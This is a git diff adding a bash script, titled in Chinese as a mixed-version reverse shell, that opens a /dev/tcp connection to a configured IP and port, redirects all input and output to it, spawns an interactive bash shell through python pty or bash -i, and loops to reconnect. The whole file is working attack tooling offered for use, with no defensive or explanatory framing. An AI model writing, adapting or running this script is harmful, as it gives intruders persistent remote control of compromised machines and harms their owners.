反弹shell_混合版

reverse_shell/tcp_shell_mix.sh

@@ -0,0 +1,31 @@
+#!/bin/bash
+
+# >  desc: bash反弹shell混合版
+# >  author: s0nnet
+# >  time: 2017-01-20
+
+
+function reverse_shell()
+{
+    ip=127.0.0.1
+    port=8089
+    sleep_tm=1
+
+    while [ 1 ]
+    do {
+        exec 9<> /dev/tcp/$ip/$port
+        [ $? -ne 0 ] && exit 0 || exec 0<&9;exec 1>&9 2>&1
+        if type python >/dev/null; then
+            python -c 'import pty; pty.spawn("/bin/bash")'
+        else
+            /bin/bash --refile "welcome!" --noprofile -i
+        fi
+    }&
+    wait
+
+    sleep $((RANDOM%sleep_tm))
+
+    done
+}
+
+reverse_shell